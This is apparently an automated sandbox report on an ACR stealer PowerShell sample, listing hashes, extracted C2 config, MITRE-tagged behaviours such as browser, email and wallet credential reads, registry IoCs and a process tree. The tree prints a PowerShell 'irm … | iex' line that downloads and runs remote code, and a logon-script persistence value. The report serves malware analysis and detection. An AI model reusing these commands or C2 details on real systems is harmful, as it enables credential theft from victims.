acrstealer | a276e4a97fc7460d7433769c0e4918ed89376fda72912b96119dac456835ccd4

Analysis

max time kernel
149s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/09/2026, 18:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
089c8e594-4e62-a464-d512b030.ps1
Size 93KB
Sample260926-w15prsyhnd
SHA256 a276e4a97fc7460d7433769c0e4918ed89376fda72912b96119dac456835ccd4
MD5 b0832c1b77a05e13f4264ce9c9fb23a5
SHA1 432d44cb1620b45fab425bae8dd35ef8de9978b6
SHA512 2d33356775c83ce09156337c300d996a42f90b45f39617aa25c1d65d58df8af8a84b8d32bc27e0c1773f74e40a1d1b01aa4d21254cda12663a445295b353c528
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdg9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUnsu
TLSH
T1559323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.2-alpha1

releases.mosswood.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd851-d0e2-7805-ae09-2dd1daa78960
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 1116 created 524	1116	rundll32.exe	81
PID 1116 created 524	1116	rundll32.exe	81
PID 1116 created 524	1116	rundll32.exe	81

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	5800	powershell.exe
9	5800	powershell.exe
11	1116	rundll32.exe
12	1116	rundll32.exe
173	1116	rundll32.exe
174	1116	rundll32.exe
175	1140	powershell.exe
176	1116	rundll32.exe
177	1116	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Environment\UserInitMprLogonScript = "\"C:\\Users\\Admin\\AppData\\Roaming\\18cc7d25a7d6\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\18cc7d25a7d6\\Fabrics.a3x\""	powershell.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4732	PowerShell.exe
1140	powershell.exe
5800	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
3	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	PowerShell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2112	chrome.exe
1984	msedge.exe

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-461973139-3212354679-1508698038-1000\{BCB591BE-BAE7-47AD-952E-FDBF265D61B8}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4732	PowerShell.exe
4732	PowerShell.exe
5800	powershell.exe
5800	powershell.exe
5800	powershell.exe
5800	powershell.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
1116	rundll32.exe
1116	rundll32.exe
1116	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
3940	msedge.exe
3940	msedge.exe
3940	msedge.exe
3940	msedge.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	PowerShell.exe
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeIncreaseQuotaPrivilege	1140	powershell.exe
Token: SeSecurityPrivilege	1140	powershell.exe
Token: SeTakeOwnershipPrivilege	1140	powershell.exe
Token: SeLoadDriverPrivilege	1140	powershell.exe
Token: SeSystemProfilePrivilege	1140	powershell.exe
Token: SeSystemtimePrivilege	1140	powershell.exe
Token: SeProfSingleProcessPrivilege	1140	powershell.exe
Token: SeIncBasePriorityPrivilege	1140	powershell.exe
Token: SeCreatePagefilePrivilege	1140	powershell.exe
Token: SeBackupPrivilege	1140	powershell.exe
Token: SeRestorePrivilege	1140	powershell.exe
Token: SeShutdownPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeSystemEnvironmentPrivilege	1140	powershell.exe
Token: SeRemoteShutdownPrivilege	1140	powershell.exe
Token: SeUndockPrivilege	1140	powershell.exe
Token: SeManageVolumePrivilege	1140	powershell.exe
Token: 33	1140	powershell.exe
Token: 34	1140	powershell.exe
Token: 35	1140	powershell.exe
Token: 36	1140	powershell.exe
Token: SeIncreaseQuotaPrivilege	1140	powershell.exe
Token: SeSecurityPrivilege	1140	powershell.exe
Token: SeTakeOwnershipPrivilege	1140	powershell.exe
Token: SeLoadDriverPrivilege	1140	powershell.exe
Token: SeSystemProfilePrivilege	1140	powershell.exe
Token: SeSystemtimePrivilege	1140	powershell.exe
Token: SeProfSingleProcessPrivilege	1140	powershell.exe
Token: SeIncBasePriorityPrivilege	1140	powershell.exe
Token: SeCreatePagefilePrivilege	1140	powershell.exe
Token: SeBackupPrivilege	1140	powershell.exe
Token: SeRestorePrivilege	1140	powershell.exe
Token: SeShutdownPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeSystemEnvironmentPrivilege	1140	powershell.exe
Token: SeRemoteShutdownPrivilege	1140	powershell.exe
Token: SeUndockPrivilege	1140	powershell.exe
Token: SeManageVolumePrivilege	1140	powershell.exe
Token: 33	1140	powershell.exe
Token: 34	1140	powershell.exe
Token: 35	1140	powershell.exe
Token: 36	1140	powershell.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
3940	msedge.exe
3484	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4732 wrote to memory of 2252	4732	PowerShell.exe	91
PID 2252 wrote to memory of 4572	2252	csc.exe	92
PID 4732 wrote to memory of 2564	4732	PowerShell.exe	93
PID 2564 wrote to memory of 1620	2564	csc.exe	94
PID 4732 wrote to memory of 5800	4732	PowerShell.exe	95
PID 5800 wrote to memory of 1116	5800	powershell.exe	97
PID 5800 wrote to memory of 1116	5800	powershell.exe	97
PID 1116 wrote to memory of 1144	1116	rundll32.exe	98
PID 1144 wrote to memory of 4852	1144	chrome.exe	99
PID 1144 wrote to memory of 3600	1144	chrome.exe	100
PID 1144 wrote to memory of 2112	1144	chrome.exe	101
PID 1144 wrote to memory of 3600	1144	chrome.exe	100
PID 1144 wrote to memory of 5152	1144	chrome.exe	104
PID 1144 wrote to memory of 4444	1144	chrome.exe	102
PID 1144 wrote to memory of 5152	1144	chrome.exe	104
PID 1144 wrote to memory of 4244	1144	chrome.exe	103
PID 1144 wrote to memory of 4444	1144	chrome.exe	102
PID 1144 wrote to memory of 4244	1144	chrome.exe	103
PID 1144 wrote to memory of 1772	1144	chrome.exe	105
PID 1144 wrote to memory of 1772	1144	chrome.exe	105
PID 1144 wrote to memory of 2716	1144	chrome.exe	106
PID 1144 wrote to memory of 2716	1144	chrome.exe	106
PID 1144 wrote to memory of 3272	1144	chrome.exe	107
PID 1144 wrote to memory of 2100	1144	chrome.exe	108
PID 1144 wrote to memory of 6124	1144	chrome.exe	149
PID 1144 wrote to memory of 2100	1144	chrome.exe	108
PID 1144 wrote to memory of 6124	1144	chrome.exe	149
PID 1144 wrote to memory of 2228	1144	chrome.exe	111
PID 1144 wrote to memory of 2228	1144	chrome.exe	111
PID 1144 wrote to memory of 4292	1144	chrome.exe	115
PID 1144 wrote to memory of 3884	1144	chrome.exe	114
PID 1144 wrote to memory of 4292	1144	chrome.exe	115
PID 1144 wrote to memory of 4112	1144	chrome.exe	116
PID 1144 wrote to memory of 3884	1144	chrome.exe	114
PID 1144 wrote to memory of 4112	1144	chrome.exe	116
PID 1144 wrote to memory of 6128	1144	chrome.exe	117
PID 1144 wrote to memory of 4188	1144	chrome.exe	118
PID 1144 wrote to memory of 6128	1144	chrome.exe	117
PID 1144 wrote to memory of 5676	1144	chrome.exe	119
PID 1144 wrote to memory of 4188	1144	chrome.exe	118
PID 1144 wrote to memory of 5676	1144	chrome.exe	119
PID 1144 wrote to memory of 3940	1144	chrome.exe	125
PID 1144 wrote to memory of 5936	1144	chrome.exe	122
PID 1144 wrote to memory of 3940	1144	chrome.exe	125
PID 1144 wrote to memory of 5936	1144	chrome.exe	122
PID 1144 wrote to memory of 5180	1144	chrome.exe	123
PID 1144 wrote to memory of 1040	1144	chrome.exe	124
PID 1144 wrote to memory of 5180	1144	chrome.exe	123
PID 1144 wrote to memory of 1040	1144	chrome.exe	124
PID 1116 wrote to memory of 3940	1116	rundll32.exe	125
PID 3940 wrote to memory of 4920	3940	msedge.exe	126
PID 3940 wrote to memory of 1984	3940	msedge.exe	127
PID 3940 wrote to memory of 2528	3940	msedge.exe	128
PID 3940 wrote to memory of 2528	3940	msedge.exe	128
PID 3940 wrote to memory of 2528	3940	msedge.exe	128
PID 3940 wrote to memory of 832	3940	msedge.exe	129
PID 3940 wrote to memory of 832	3940	msedge.exe	129
PID 3940 wrote to memory of 2612	3940	msedge.exe	131
PID 3940 wrote to memory of 6008	3940	msedge.exe	132
PID 3940 wrote to memory of 2612	3940	msedge.exe	131
PID 3940 wrote to memory of 2612	3940	msedge.exe	131
PID 3940 wrote to memory of 6008	3940	msedge.exe	132
PID 3940 wrote to memory of 6008	3940	msedge.exe	132
PID 3940 wrote to memory of 3388	3940	msedge.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:524
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\089c8e594-4e62-a464-d512b030.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5eb3qjdi\5eb3qjdi.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES78A1.tmp" "c:\Users\Admin\AppData\Local\Temp\5eb3qjdi\CSC6CD4A41A22244A6BF4DA7DAD21733.TMP"
      4⤵
      PID:4572
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zjgwvvxd\zjgwvvxd.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES887F.tmp" "c:\Users\Admin\AppData\Local\Temp\zjgwvvxd\CSCA7A269A85FB4489492AE5175C9F38DB.TMP"
      4⤵
      PID:1620
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/dsteru3421/559f-2414-494a-8560-23ce5908/refs/heads/main/eea997-d7e6-43f3-a5bd | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5800
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:1116
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -Command -
        5⤵
        Badlisted process makes network request
        Registers new Windows logon scripts automatically executed at logon.
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:1140
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd42ddc728,0x7ffd42ddc734,0x7ffd42ddc740
    3⤵
    PID:4852
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,3869487702030809503,302719757922736913,262144 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:2
    3⤵
    PID:3600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1484,i,17976416458486075824,4800479231466437106,524288 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2964,i,11769360033647980706,3568141698223585706,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=3208 /prefetch:1
    3⤵
    PID:4444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,838107834456348236,10627573323055242675,524288 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:13
    3⤵
    PID:4244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2968,i,14775485911795752133,11004372464520371663,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:1
    3⤵
    PID:5152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4520,i,8639661435967780062,5594770108987463458,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4544 /prefetch:1
    3⤵
    PID:1772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4684,i,8642700470275411278,16440320740428503563,524288 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:14
    3⤵
    PID:2716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5384,i,11126245170575242553,6015646831256034207,524288 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:14
    3⤵
    PID:3272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
